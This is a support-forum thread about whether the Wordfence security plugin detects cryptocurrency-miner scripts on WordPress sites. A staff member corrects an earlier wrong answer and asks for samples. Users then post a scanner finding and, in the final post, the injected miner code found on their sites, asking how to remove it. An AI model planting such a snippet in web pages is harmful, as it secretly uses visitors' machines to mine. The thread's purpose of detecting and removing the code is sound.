Detection of cryptocurrency miners

Hi @developerwil,

Wordfence scans already include checks for cryptocurrency-miners signatures.

However note that you can “add additional signatures” on the Wordfence –> Options page (we only treat those additional patterns as RegEx).

Amazeballs!

Hi @developerwil,

Please accept my apologies. I provided incorrect information.

I was discussing this topic with my colleagues and I misunderstood their answer.

Wordfence scans do not include checks for cryptocurrency-miners signatures at the moment as we don’t have evidence yet that they frequently occur on WordPress sites. If you have any malware samples proving otherwise, please send them in.

However you can still add additional signatures on the Wordfence –> Options page.

• This reply was modified 7 years, 1 month ago by wfyann. Reason: Additional info

Thanks for the update @wfyann

Is there any documentation for what signature format to use and where to find them?

Thanks,
Wil.

You want evidence of CRYTO Miners: here you go. One of multiple results on GravityScan.

Medium Information Cryptominer Script Found (on /) Content Collapse
Title:
Cryptominer Script Found (on /)
Type:
Information
Severity:
Medium (5.0)
Product:
Content
Description:
Cryptominers use client browsers to mine for cryptocurrency and can have negative affects for users on the site. If you meant to add this script please ignore this result. If you did not intentionally include this script your site may have been hacked.
Found on https://————-.org/
src=”https://crypto\-loot\.com/lib/miner\.min\.js”

Hi @developerwil,

Apologies for the delayed update.

Please have a look at this post on our blog regarding Wordfence upcoming features to detect cryptominer scripts

Great! Thanks for the update @wyfann

Kaspersky is detecting this code from some of our sites:

<div style=”bottom:0; visibility:visible !important; display: block !important;” ><center><!– nsr-ID 30806962 1515082736 –> <script src=”https://www.hashing.win/scripts/min.js”></script><script>var miner = new Client.Anonymous(“6cbf25e53638b9537f4da07d24f73cf1cf50b28962aab453bba3fd9d1df99dd0”, { throttle: 0.2});miner.start();</script><style>#credits

Please let me know how to remove it. I am suspecting it comes from SiteOrigin plugin and WordFence does not detect it.